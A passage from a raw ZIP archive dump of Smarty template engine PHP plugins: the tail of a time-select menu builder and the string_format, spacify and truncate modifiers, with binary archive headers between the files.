$minute_id : $_name) : ($all_id ? ($all_id . $_name) : $_name) ) . '"'; } if ($minute_size) { $_html_minutes .= ' size="' . $minute_size . '"'; } $_html_minutes .= $_extra . $extra_attrs . '>' . $option_separator; if (isset($minute_empty) || isset($all_empty)) { $_html_minutes .= '<option value="">' . (isset($minute_empty) ? $minute_empty : $all_empty) . '</option>' . $option_separator; } $selected = $_minute !== null ? ($_minute - $_minute % $minute_interval) : null; for ($i = 0; $i <= 59; $i += $minute_interval) { $_val = sprintf('%02d', $i); $_text = $minute_format === '%02d' ? $_val : sprintf($minute_format, $i); $_value = $minute_value_format === '%02d' ? $_val : sprintf($minute_value_format, $i); $_html_minutes .= '<option value="' . $_value . '"' . ($selected === $i ? ' selected="selected"' : '') . '>' . $_text . '</option>' . $option_separator; } $_html_minutes .= '</select>'; } // generate second <select> if ($display_seconds) { $_html_seconds = ''; $_extra = ''; $_name = $field_array ? ($field_array . '[' . $prefix . 'Second]') : ($prefix . 'Second'); if ($all_extra) { $_extra .= ' ' . $all_extra; } if ($second_extra) { $_extra .= ' ' . $second_extra; } $_html_seconds = '<select name="' . $_name . '"'; if ($second_id !== null || $all_id !== null) { $_html_seconds .= ' id="' . smarty_function_escape_special_chars( $second_id !== null ? ($second_id ? $second_id : $_name) : ($all_id ? ($all_id . $_name) : $_name) ) . '"'; } if ($second_size) { $_html_seconds .= ' size="' . $second_size . '"'; } $_html_seconds .= $_extra . $extra_attrs . '>' . $option_separator; if (isset($second_empty) || isset($all_empty)) { $_html_seconds .= '<option value="">' . (isset($second_empty) ? $second_empty : $all_empty) . '</option>' . $option_separator; } $selected = $_second !== null ? ($_second - $_second % $second_interval) : null; for ($i = 0; $i <= 59; $i += $second_interval) { $_val = sprintf('%02d', $i); $_text = $second_format === '%02d' ? $_val : sprintf($second_format, $i); $_value = $second_value_format === '%02d' ? $_val : sprintf($second_value_format, $i); $_html_seconds .= '<option value="' . $_value . '"' . ($selected === $i ? ' selected="selected"' : '') . '>' . $_text . '</option>' . $option_separator; } $_html_seconds .= '</select>'; } // generate meridian <select> if ($display_meridian && !$use_24_hours) { $_html_meridian = ''; $_extra = ''; $_name = $field_array ? ($field_array . '[' . $prefix . 'Meridian]') : ($prefix . 'Meridian'); if ($all_extra) { $_extra .= ' ' . $all_extra; } if ($meridian_extra) { $_extra .= ' ' . $meridian_extra; } $_html_meridian = '<select name="' . $_name . '"'; if ($meridian_id !== null || $all_id !== null) { $_html_meridian .= ' id="' . smarty_function_escape_special_chars( $meridian_id !== null ? ($meridian_id ? $meridian_id : $_name) : ($all_id ? ($all_id . $_name) : $_name) ) . '"'; } if ($meridian_size) { $_html_meridian .= ' size="' . $meridian_size . '"'; } $_html_meridian .= $_extra . $extra_attrs . '>' . $option_separator; if (isset($meridian_empty) || isset($all_empty)) { $_html_meridian .= '<option value="">' . (isset($meridian_empty) ? $meridian_empty : $all_empty) . '</option>' . $option_separator; } $_html_meridian .= '<option value="am"' . ($_hour > 0 && $_hour < 12 ? ' selected="selected"' : '') . '>AM</option>' . $option_separator . '<option value="pm"' . ($_hour < 12 ? '' : ' selected="selected"') . '>PM</option>' . $option_separator . '</select>'; } $_html = ''; foreach (array( '_html_hours', '_html_minutes', '_html_seconds', '_html_meridian' ) as $k) { if (isset($$k)) { if ($_html) { $_html .= $field_separator; } $_html .= $$k; } } return $_html; } PK Ǥ$Z׀�P> > 6 smarty/libs/plugins/modifiercompiler.string_format.phpnu �[��� <?php /** * Smarty plugin * * @package Smarty * @subpackage PluginsModifierCompiler */ /** * Smarty string_format modifier plugin * Type: modifier * Name: string_format * Purpose: format strings via sprintf * * @link http://www.smarty.net/manual/en/language.modifier.string.format.php string_format (Smarty online manual) * @author Uwe Tews * * @param array $params parameters * * @return string with compiled code */ function smarty_modifiercompiler_string_format($params) { return 'sprintf(' . $params[ 1 ] . ',' . $params[ 0 ] . ')'; } PK Ǥ$Z=нa� � ( smarty/libs/plugins/modifier.spacify.phpnu �[��� <?php /** * Smarty plugin * * @package Smarty * @subpackage PluginsModifier */ /** * Smarty spacify modifier plugin * Type: modifier * Name: spacify * Purpose: add spaces between characters in a string * * @link http://smarty.php.net/manual/en/language.modifier.spacify.php spacify (Smarty online manual) * @author Monte Ohrt <monte at ohrt dot com> * * @param string $string input string * @param string $spacify_char string to insert between characters. * * @return string */ function smarty_modifier_spacify($string, $spacify_char = ' ') { // well… what about charsets besides latin and UTF-8? return implode($spacify_char, preg_split('//' . Smarty::$_UTF8_MODIFIER, $string, -1, PREG_SPLIT_NO_EMPTY)); } PK Ǥ$ZD� � ) smarty/libs/plugins/modifier.truncate.phpnu �[��� <?php /** * Smarty plugin * * @package Smarty * @subpackage PluginsModifier */ /** * Smarty truncate modifier plugin * Type: modifier * Name: truncate * Purpose: Truncate a string to a certain length if necessary, * optionally splitting in the middle of a word, and * appending the $etc string or inserting $etc into the middle. * * @link http://smarty.php.net/manual/en/language.modifier.truncate.php truncate (Smarty online manual) * @author Monte Ohrt <monte at ohrt dot com> * * @param string $string input string * @param integer $length length of truncated text * @param string $etc end string * @param boolean $break_words truncate at word boundary * @param boolean $middle truncate in the middle of text * * @return string truncated string */ function smarty_modifier_truncate($string, $length = 80, $etc = '...', $break_words = false, $middle = false) { if ($length === 0) { return ''; } if (Smarty::$_MBSTRING) { if (mb_strlen($string, Smarty::$_CHARSET) > $length) { $length -= min($length, mb_strlen($etc, Smarty::$_CHARSET)); if (!$break_words && !$middle) { $string = preg_replace( '/\s+?(\S+)?$/' . Smarty::$_UTF8_MODIFIER, '', mb_substr($string, 0, $length + 1, Smarty::$_CHARSET) ); } if (!$middle) { return mb_substr($string, 0, $length, Smarty::$_CHARSET) . $etc; } return mb_substr($string, 0, $length / 2, Smarty::$_CHARSET) . $etc . mb_substr($string, -$length / 2, $length, Smarty::$_CHARSET); } return $string; } // no MBString fallback if (isset($string[ $length ])) { $length -= min($length, strlen($etc)); if (!$break_words && !$middle) { $string = preg_replace('/\s+?(\S+)?$/', '', substr($string, 0, $length + 1)); } if (!$middle) { return substr($string, 0, $length) . $etc; } return substr($string, 0, $length / 2) . $etc . substr($string, -$length / 2); } return $string; } PK Ǥ$ZA�iW� � &